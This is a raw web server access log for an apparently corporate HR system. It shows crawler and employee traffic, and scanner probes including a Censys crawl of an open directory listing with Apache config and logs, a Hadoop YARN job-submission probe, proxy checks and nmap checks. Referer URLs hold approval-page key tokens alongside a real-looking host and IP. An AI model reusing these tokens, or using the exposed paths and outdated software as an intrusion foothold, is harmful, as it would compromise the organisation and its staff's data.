- - [03/Dec/2025:23:09:49 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [03/Dec/2025:23:09:52 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:09:52 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [03/Dec/2025:23:09:53 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:09:53 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [03/Dec/2025:23:09:54 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:09:54 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [03/Dec/2025:23:09:56 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:09:56 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [03/Dec/2025:23:09:58 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [03/Dec/2025:23:09:58 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:14:04 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:23:14:04 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:23:14:13 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:23:14:13 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [03/Dec/2025:23:37:38 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:23:37:38 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:23:41:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:23:41:21 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:23:54:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:23:54:45 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:23:59:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:23:59:45 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:00:15:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:00:15:15 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:00:15:41 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:00:15:41 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:00:44:12 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [04/Dec/2025:00:44:12 +0800] "\x03" 501 203 100.64.0.1 - - [04/Dec/2025:01:09:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [04/Dec/2025:01:09:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:01:12:01 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [04/Dec/2025:01:12:01 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:01:20:07 +0800] "\x16\x03\x01\x05\xca\x01" 501 208 "-" "-" 100.64.0.1 - - [04/Dec/2025:01:20:07 +0800] "\x16\x03\x01\x05\xca\x01" 501 208 100.64.0.1 - - [04/Dec/2025:01:20:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.61.1" 100.64.0.1 - - [04/Dec/2025:01:20:08 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:01:20:08 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "curl/7.61.1" 100.64.0.1 - - [04/Dec/2025:01:20:08 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:01:37:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:01:37:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 100.64.0.1 - - [04/Dec/2025:02:06:05 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:02:06:05 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:02:19:39 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:02:19:39 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:02:27:10 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:02:27:10 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:02:27:16 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:02:27:16 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:02:27:16 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:16 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:02:27:18 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:02:27:18 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [04/Dec/2025:02:27:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:02:27:22 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:22 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:23 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [04/Dec/2025:02:27:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [04/Dec/2025:02:27:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 289 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 100.64.0.1 - - [04/Dec/2025:02:27:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf/original" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra HTTP/1.1" 301 286 100.64.0.1 - - [04/Dec/2025:02:27:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra/ HTTP/1.1" 200 1110 100.64.0.1 - - [04/Dec/2025:02:27:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra/ HTTP/1.1" 200 1110 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf/extra" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 100.64.0.1 - - [04/Dec/2025:02:27:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [04/Dec/2025:02:27:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [04/Dec/2025:02:27:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:02:27:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [04/Dec/2025:02:27:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 100.64.0.1 - - [04/Dec/2025:02:27:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [04/Dec/2025:02:27:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:02:27:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [04/Dec/2025:02:27:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:35 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [04/Dec/2025:02:27:36 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:36 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [04/Dec/2025:02:27:36 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:36 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHR1 HTTP/1.1" 301 239 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:37 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:02:27:38 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:38 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [04/Dec/2025:02:27:39 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:39 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:02:27:45 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:02:27:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:02:27:46 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:02:27:46 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:02:57:19 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:02:57:19 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 100.64.0.1 - - [04/Dec/2025:03:53:05 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [04/Dec/2025:03:53:05 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:03:53:20 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [04/Dec/2025:03:53:20 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:05:18:25 +0800] "GET /api/v0/models HTTP/1.1" 404 211 "-" "Python-urllib/2.7" 100.64.0.1 - - [04/Dec/2025:05:18:25 +0800] "GET /api/v0/models HTTP/1.1" 404 211 100.64.0.1 - - [04/Dec/2025:05:18:25 +0800] "GET /v1/models HTTP/1.1" 404 207 "-" "Python-urllib/2.7" 100.64.0.1 - - [04/Dec/2025:05:18:25 +0800] "GET /v1/models HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:05:42:13 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [04/Dec/2025:05:42:13 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:05:47:35 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:05:47:35 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:05:50:49 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:50:49 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /nmaplowercheck1764798512 HTTP/1.1" 404 222 "-" "\"Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /nmaplowercheck1764798512 HTTP/1.1" 404 222 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "POST /sdk HTTP/1.1" 404 201 "-" "\"Mozilla/5.0" 